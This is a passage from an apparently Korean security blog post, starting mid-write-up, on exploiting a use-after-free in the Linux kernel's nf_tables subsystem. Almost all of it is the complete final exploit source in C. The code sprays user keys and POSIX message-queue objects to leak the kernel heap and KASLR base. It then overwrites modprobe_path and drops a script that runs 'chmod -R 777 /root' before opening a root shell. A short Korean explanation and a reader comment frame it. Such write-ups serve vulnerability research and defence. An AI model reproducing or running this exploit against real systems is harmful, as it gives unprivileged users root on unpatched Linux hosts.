주의해야할 점은 prev에도 정상적인 메모리 주소가 들어가야하기 때문에, (커넣 힙 주소 & 0xffffffffffff0000) + 덮어쓰고 싶은 값 이와 같은 주소를 넣어 2바이트 만큼 원하는 값으로 덮어쓸 수 있습니다. 여러번 트리거할 수 있기 때문에, /sbin/modprobe/tmp/????\xff\xffobe로 덮어서 성공적으로 modporbe_path를 조작할 수 있습니다.

    printf("\n\n============================== [ 3. Overwriting modporbe_path ] ==============================\n");

    uint64_t modprobe_path = kernel_base + 0x144dac0;
    printf("[*] modprobe_path = 0x%lx\n", modprobe_path);

    netfilter_new_table(nl, "table3");
    netfilter_new_stable_set(nl, "table3", "set_stable3");
    netfilter_new_uaf_set(nl, "table3", "uaf_set3", "set_stable3");

    create_fake_obj_posix_msg_tree_node(mq2);

    netfilter_new_uaf_set(nl, "table3", "uaf_set3", "set_stable3");
    uint64_t modprobe_name = (modprobe_path & 0xffffffffffff0000) + 0x6d74;
    fake_obj_keys = spray_fake_obj_keys(modprobe_path-0x8+1, modprobe_name, 0, KEY_SPRAY_COUNT);
    fake_obj_keys = spray_fake_obj_keys(modprobe_path-0x8+1, modprobe_name, 0, KEY_SPRAY_COUNT);

    just_read_mq(mq2);

    revoke_all_sprayed_keys(fake_obj_keys, 0, KEY_SPRAY_COUNT);
    unlink_all_sprayed_keys(fake_obj_keys, 0, KEY_SPRAY_COUNT);

    netfilter_new_table(nl, "table4");
    netfilter_new_stable_set(nl, "table4", "set_stable4");
    netfilter_new_uaf_set(nl, "table4", "uaf_set4", "set_stable4");

    create_fake_obj_posix_msg_tree_node(mq3);

    netfilter_new_uaf_set(nl, "table4", "uaf_set4", "set_stable4");
    modprobe_name = (modprobe_path & 0xffffffffffff0000) + 0x2f70;
    fake_obj_keys = spray_fake_obj_keys(modprobe_path-0x8+3, modprobe_name, 0, KEY_SPRAY_COUNT);
    fake_obj_keys = spray_fake_obj_keys(modprobe_path-0x8+3, modprobe_name, 0, KEY_SPRAY_COUNT);

    just_read_mq(mq3);

5. Finish


최종 익스플로잇 코드는 아래와 같습니다.

#define _GNU_SOURCE
#include <arpa/inet.h>
#include <sched.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <fcntl.h>
#include <err.h>
#include <libmnl/libmnl.h>
#include <libnftnl/chain.h>
#include <libnftnl/expr.h>
#include <libnftnl/rule.h>
#include <libnftnl/table.h>
#include <libnftnl/set.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter/nfnetlink.h>
#include <sched.h>
#include <sys/types.h>
#include <signal.h>
#include <net/if.h>
#include <asm/types.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <sys/socket.h>
#include <linux/ethtool.h>
#include <linux/sockios.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/keyctl.h>
#include <mqueue.h>
#include <time.h>
#include <sys/msg.h>
#include <sys/ipc.h>

// gcc poc.c -o poc -l mnl -l nftnl
// gcc poc.c -o poc -static -L/usr/local/lib/ -l nftnl -l mnl

void hexdump(const void* data, size_t size) {
    unsigned char *p = (unsigned char*)data;
    for (size_t i = 0; i < size; i++) {
        printf("%02X ", p[i]);
        if ((i + 1) % 16 == 0 || i == size - 1) {
            printf("\n");
        }
    }
}

void write_to_file(const char *which, const char *format, ...) {
    FILE * fu = fopen(which, "w");
    va_list args;
    va_start(args, format);
    if (vfprintf(fu, format, args) < 0) {
        perror("cannot write");
        exit(1);
    }
    fclose(fu);
}

void init_cpu(void){
    cpu_set_t set;
    CPU_ZERO(&set);
    CPU_SET(0, &set);
    if (sched_setaffinity(getpid(), sizeof(set), &set) < 0) {
        perror("[-] sched_setaffinity");
        exit(EXIT_FAILURE);    
    }
}

void init_namespace(void) {
    uid_t uid = getuid();
    gid_t gid = getgid();    

    if (unshare(CLONE_NEWUSER) < 0) {
        perror("[-] unshare(CLONE_NEWUSER)");
        exit(EXIT_FAILURE);    
    }
    if (unshare(CLONE_NEWNET) < 0) {
        perror("[-] unshare(CLONE_NEWNET)");
        exit(EXIT_FAILURE);    
    }

    write_to_file("/proc/self/uid_map", "0 %d 1", uid);
    write_to_file("/proc/self/setgroups", "deny");
    write_to_file("/proc/self/gid_map", "0 %d 1", gid);
}

void netfilter_new_table(struct mnl_socket *nl, const char *table_name){

    uint8_t family = NFPROTO_IPV4;

    struct nftnl_table * table = nftnl_table_alloc();
    nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name);
    nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0);

    char buf[MNL_SOCKET_BUFFER_SIZE*2];

    struct mnl_nlmsg_batch * batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
    int seq = 0;

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);


    struct nlmsghdr *nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, 0, seq++);
    nftnl_table_nlmsg_build_payload(nlh, table);
    mnl_nlmsg_batch_next(batch);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "mnl_socket_send");
    }

    printf("[+] create new table : %s\n", table_name);
}

uint32_t set_id = 1;
void netfilter_new_stable_set(struct mnl_socket *nl, const char *table_name, const char *set_name){

    uint8_t family = NFPROTO_IPV4;

    struct nftnl_set *set =  nftnl_set_alloc();
    nftnl_set_set_str(set, NFTNL_SET_TABLE, table_name);
    nftnl_set_set_str(set, NFTNL_SET_NAME, set_name);
    nftnl_set_set_u32(set, NFTNL_SET_KEY_LEN, 1);
    nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);
    nftnl_set_set_u32(set, NFTNL_SET_ID, set_id++);

    char buf[MNL_SOCKET_BUFFER_SIZE*2];

    struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
    int seq = 0;

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);


    struct nlmsghdr *nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
                                    NFT_MSG_NEWSET, family,
                                    NLM_F_CREATE|NLM_F_ACK, seq++);
    nftnl_set_nlmsg_build_payload(nlh, set);
    nftnl_set_free(set);
    mnl_nlmsg_batch_next(batch);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "mnl_socket_send");
    }

    printf("[+] create new set (stable) : %s -> %s\n", table_name, set_name);
}

void netfilter_new_uaf_set(struct mnl_socket *nl, const char *table_name, const char *set_name, const char *target_set_name){

    uint8_t family = NFPROTO_IPV4;

    struct nftnl_set *set_trigger =  nftnl_set_alloc();
    nftnl_set_set_str(set_trigger, NFTNL_SET_TABLE, table_name);
    nftnl_set_set_str(set_trigger, NFTNL_SET_NAME, set_name);
    nftnl_set_set_u32(set_trigger, NFTNL_SET_FLAGS, NFT_SET_EXPR);
    nftnl_set_set_u32(set_trigger, NFTNL_SET_KEY_LEN, 1);
    nftnl_set_set_u32(set_trigger, NFTNL_SET_FAMILY, family);
    nftnl_set_set_u32(set_trigger, NFTNL_SET_ID, set_id);
    struct nftnl_expr *exprs = nftnl_expr_alloc("lookup");
    nftnl_expr_set_str(exprs, NFTNL_EXPR_LOOKUP_SET, target_set_name);
    nftnl_expr_set_u32(exprs, NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);
    // nest the expression into the set
    nftnl_set_add_expr(set_trigger, exprs);
    

    char buf[MNL_SOCKET_BUFFER_SIZE*2];

    struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
    int seq = 0;

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);


    struct nlmsghdr *nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
                                    NFT_MSG_NEWSET, family,
                                    NLM_F_CREATE|NLM_F_ACK, seq++);
    nftnl_set_nlmsg_build_payload(nlh, set_trigger);
    nftnl_set_free(set_trigger);
    mnl_nlmsg_batch_next(batch);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "mnl_socket_send");
    }

    printf("[+] create new set (UAF) : %s -> %s\n", table_name, set_name);
}

typedef int32_t key_serial_t;

static inline key_serial_t sys_add_key(const char *type, const char *desc, const void *payload, size_t plen, int ringid)
{
    return syscall(__NR_add_key, type, desc, payload, plen, ringid);
}

static inline key_serial_t sys_keyctl(int cmd, ...)
{
    va_list ap;
    long arg2, arg3, arg4, arg5;

    va_start(ap, cmd);
    arg2 = va_arg(ap, long);
    arg3 = va_arg(ap, long);
    arg4 = va_arg(ap, long);
    arg5 = va_arg(ap, long);
    va_end(ap);

    return syscall(__NR_keyctl, cmd, arg2, arg3, arg4, arg5);
}

void revoke_key(key_serial_t key)
{
    if (sys_keyctl(KEYCTL_REVOKE, key) == -1) {
        err(1, "[-] failed key revoke");
    }

    //printf("[+] release key : %d\n", (int)key);
}

void unlink_key(key_serial_t key)
{
    if (sys_keyctl(KEYCTL_UNLINK, key, KEY_SPEC_USER_KEYRING) == -1) {
        err(1, "[-] failed key unlink");
    }

    //printf("[+] release key : %d\n", (int)key);
}

#define KEY_PAYLOAD_SIZE 40
#define KEY_SPRAY_COUNT 90

//uint32_t key_count = 0;
key_serial_t* spray_user_key_payload(int start, int end){
    
    key_serial_t *keys = calloc(end-start, sizeof(key_serial_t));
    char payload[KEY_PAYLOAD_SIZE] = {0, };

    for(int i=start; i<end; i++){
        snprintf(payload, KEY_PAYLOAD_SIZE, "payload-%d", i);
        keys[i] = sys_add_key("user", payload, payload, KEY_PAYLOAD_SIZE, KEY_SPEC_USER_KEYRING);
        if (keys[i] == -1)
            err(1, "[-] failed key spraying");
    }
    
    printf("[+] sprayed user_key_payload\n");
    return keys;
}

int leak_heap_addr_and_get_uaf_keyid(key_serial_t *keys, uint64_t *kheap){

    int ret = 0;
    char buffer[KEY_PAYLOAD_SIZE] = {0, };

    for(int i=0; i<KEY_SPRAY_COUNT; i++){
        ret = sys_keyctl(KEYCTL_READ, keys[i], buffer, sizeof(buffer));
        if (ret == -1)
            err(1, "[-] failed key read");

        //printf("[*] kheap = 0x%lx\n", *((uint64_t*)buffer));
        if((uint8_t)buffer[7] == 0xff){
            *kheap = *((uint64_t*)buffer);
            return i;
        }
    }

    err(1, "[-] failed leak kernel heap address");
}

void revoke_all_sprayed_keys(key_serial_t *keys, int start, int end){
    int c = 0;
    for(int i=start; i<end; i++){
        if(keys[c]!=0)
            revoke_key(keys[c]);
        c++;
    }
    printf("[+] revoked all sprayed keys\n");
}

void unlink_all_sprayed_keys(key_serial_t *keys, int start, int end){
    int c = 0;
    for(int i=start; i<end; i++){
        if(keys[c]!=0)
            unlink_key(keys[c]);
        c++;
    }
    printf("[+] unlinked all sprayed keys\n");
}

key_serial_t *spray_fake_obj_keys(uint64_t addr1, uint64_t addr2, int start, int end){
    
    key_serial_t *keys = calloc(end-start, sizeof(key_serial_t));
    char payload[KEY_PAYLOAD_SIZE] = {0, };
    char desc[KEY_PAYLOAD_SIZE] = {0, };
    uint64_t m_ts = 0x28;

    memcpy(payload,(char*)(&addr1),0x8); // m_list.next
    memcpy(payload+0x8,(char*)(&addr2),0x8); // m_list.prev
    memcpy(payload+0x10,"AAAAAAAA",0x8); // m_type
    memcpy(payload+0x18,(char*)(&m_ts),0x8); // m_ts

    int c = 0;
    for(int i=start; i<end; i++){
        snprintf(desc, KEY_PAYLOAD_SIZE, "payload-%d-fake", i);
        keys[c] = sys_add_key("user", desc, payload, KEY_PAYLOAD_SIZE-1, KEY_SPEC_USER_KEYRING);
        if (keys[c] == -1)
            err(1, "[-] failed key spraying");
        c++;
    }
    
    printf("[+] sprayed fake obj user_key_payload\n");
    return keys;
}


#define MQ_MAX_COUNT 10
#define MQ_COUNT 1
#define MQ_SIZE 24

mqd_t sys_mq_open(char *queue_name){
    
    struct mq_attr attr;
    attr.mq_flags = 0;
    attr.mq_maxmsg = MQ_MAX_COUNT;
    attr.mq_msgsize = MQ_SIZE;
    attr.mq_curmsgs = 0;

    // 메시지 큐 열기
    mqd_t mq = mq_open(queue_name, O_CREAT | O_RDWR, 0644, &attr);
    if (mq == (mqd_t)-1) {
        err(1, "[-] failed mq_open");
    }

    printf("[+] mq_open : %s\n", queue_name);
    return mq;
}

void create_fake_obj_posix_msg_tree_node(mqd_t mq){

    struct timespec ts;
    char buffer[MQ_SIZE] = {0, };

    if (clock_gettime(CLOCK_REALTIME, &ts) == -1) {
        perror("clock_gettime");
        exit(1);
    }

    memcpy(buffer, "test", 4);

    if (mq_timedsend(mq, buffer, MQ_SIZE, 0, &ts) == -1){
        err(1, "[-] failed mq_timedsend");
    }

    printf("[+] nft_expr(+nft_lookup) <-> posix_msg_tree_node\n");
}

uint64_t leak_kaslr_base_by_read_mq(mqd_t mq){
    struct timespec ts;
    char buffer[1024] = {0, };

    if (clock_gettime(CLOCK_REALTIME, &ts) == -1) {
        perror("clock_gettime");
        exit(1);
    }

    ssize_t bytes_read = mq_timedreceive(mq, buffer, MQ_SIZE, NULL, &ts);
    if (bytes_read == -1)
        err(1, "[-] failed mq_timedreceive");

    hexdump(buffer,0x20);
    if((uint8_t)buffer[7] == 0xff){
        return *((uint64_t*)buffer);
    } else {
        err(1, "[-] failed leak kaslr");
    }
}

void just_read_mq(mqd_t mq){
    struct timespec ts;
    char buffer[1024] = {0, };

    if (clock_gettime(CLOCK_REALTIME, &ts) == -1) {
        perror("clock_gettime");
        exit(1);
    }

    ssize_t bytes_read = mq_timedreceive(mq, buffer, MQ_SIZE, NULL, &ts);
    if (bytes_read == -1)
        err(1, "[-] failed mq_timedreceive");

    printf("[+] trigger mq_timedreceive\n");

}


int main(int argc, char *argv[])
{
    printf("[+] exploit process starting\n");

    init_cpu();
    init_namespace();

    printf("\n\n============================== [ 0. Preapare Exploiting ] ==============================\n");

    struct mnl_socket *nl = mnl_socket_open(NETLINK_NETFILTER);
    if (nl == NULL) {
        err(1, "[-] mnl_socket_open");
    } else {
        printf("[+] mnl_socket_open\n");
    }

    mqd_t mq1 = sys_mq_open("/queue-leak");
    mqd_t mq2 = sys_mq_open("/queue-overwrite");
    mqd_t mq3 = sys_mq_open("/queue-overwrite3");


    printf("\n\n============================== [ 1. Leaking Kernel Heap Address ] ==============================\n");

    netfilter_new_table(nl, "table1");
    netfilter_new_stable_set(nl, "table1", "set_stable1");
    netfilter_new_uaf_set(nl, "table1", "uaf_set1", "set_stable1");

    key_serial_t *spray_keys = spray_user_key_payload(0, KEY_SPRAY_COUNT);

    netfilter_new_uaf_set(nl, "table1", "uaf_set1", "set_stable1");

    uint64_t kheap = 0;
    int keyid = leak_heap_addr_and_get_uaf_keyid(spray_keys, &kheap);
    printf("[*] kheap = 0x%lx (keyid = %d)\n", kheap, keyid);

    revoke_all_sprayed_keys(spray_keys, 0, KEY_SPRAY_COUNT);
    unlink_all_sprayed_keys(spray_keys, 0, KEY_SPRAY_COUNT);


    printf("\n\n============================== [ 2. Leaking KASLR Base Address ] ==============================\n");

    netfilter_new_table(nl, "table2");
    netfilter_new_stable_set(nl, "table2", "set_stable2");
    netfilter_new_uaf_set(nl, "table2", "uaf_set2", "set_stable2");

    create_fake_obj_posix_msg_tree_node(mq1);

    key_serial_t *spray_keys2 = spray_user_key_payload(0, KEY_SPRAY_COUNT);

    netfilter_new_uaf_set(nl, "table2", "uaf_set2", "set_stable2");
    key_serial_t *fake_obj_keys = spray_fake_obj_keys(kheap, kheap, 0, KEY_SPRAY_COUNT);
    fake_obj_keys = spray_fake_obj_keys(kheap, kheap, 0, KEY_SPRAY_COUNT);

    revoke_all_sprayed_keys(spray_keys2, 0, KEY_SPRAY_COUNT);
    uint64_t kernel_base = leak_kaslr_base_by_read_mq(mq1) - 0x373330;
    printf("[*] Kernel Base = 0x%lx\n", kernel_base);

    revoke_all_sprayed_keys(fake_obj_keys, 0, KEY_SPRAY_COUNT);
    unlink_all_sprayed_keys(spray_keys2, 0, KEY_SPRAY_COUNT);
    unlink_all_sprayed_keys(fake_obj_keys, 0, KEY_SPRAY_COUNT);


    printf("\n\n============================== [ 3. Overwriting modporbe_path ] ==============================\n");

    uint64_t modprobe_path = kernel_base + 0x144dac0;
    printf("[*] modprobe_path = 0x%lx\n", modprobe_path);

    netfilter_new_table(nl, "table3");
    netfilter_new_stable_set(nl, "table3", "set_stable3");
    netfilter_new_uaf_set(nl, "table3", "uaf_set3", "set_stable3");

    create_fake_obj_posix_msg_tree_node(mq2);

    netfilter_new_uaf_set(nl, "table3", "uaf_set3", "set_stable3");
    uint64_t modprobe_name = (modprobe_path & 0xffffffffffff0000) + 0x6d74;
    fake_obj_keys = spray_fake_obj_keys(modprobe_path-0x8+1, modprobe_name, 0, KEY_SPRAY_COUNT);
    fake_obj_keys = spray_fake_obj_keys(modprobe_path-0x8+1, modprobe_name, 0, KEY_SPRAY_COUNT);

    just_read_mq(mq2);

    revoke_all_sprayed_keys(fake_obj_keys, 0, KEY_SPRAY_COUNT);
    unlink_all_sprayed_keys(fake_obj_keys, 0, KEY_SPRAY_COUNT);

    netfilter_new_table(nl, "table4");
    netfilter_new_stable_set(nl, "table4", "set_stable4");
    netfilter_new_uaf_set(nl, "table4", "uaf_set4", "set_stable4");

    create_fake_obj_posix_msg_tree_node(mq3);

    netfilter_new_uaf_set(nl, "table4", "uaf_set4", "set_stable4");
    modprobe_name = (modprobe_path & 0xffffffffffff0000) + 0x2f70;
    fake_obj_keys = spray_fake_obj_keys(modprobe_path-0x8+3, modprobe_name, 0, KEY_SPRAY_COUNT);
    fake_obj_keys = spray_fake_obj_keys(modprobe_path-0x8+3, modprobe_name, 0, KEY_SPRAY_COUNT);

    just_read_mq(mq3);

    printf("\n\n============================== [ 4. Finish ] ==============================\n");

    if(fork()){
        char modprobe_content[] = "#!/bin/sh\nchmod -R 777 /root";
        char filename[] = "/tmpX/modprobe";
        memcpy(filename+3, &modprobe_name, 0x8);
        int fd = open(filename, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO);
        write(fd, modprobe_content, sizeof(modprobe_content));
        close(fd);

        fd = open("/tmp/pwn", O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO);
        write(fd, "\xff\xff\xff\xff", 4);
        close(fd);

        system("/tmp/pwn");
        system("/bin/sh");
    }

    getchar(); //pause
}

1개의 댓글

comment-user-thumbnail
2024년 5월 28일

잘보고갑니다!
취약점 자체가 포너블 하는 느낌이네요

답글 달기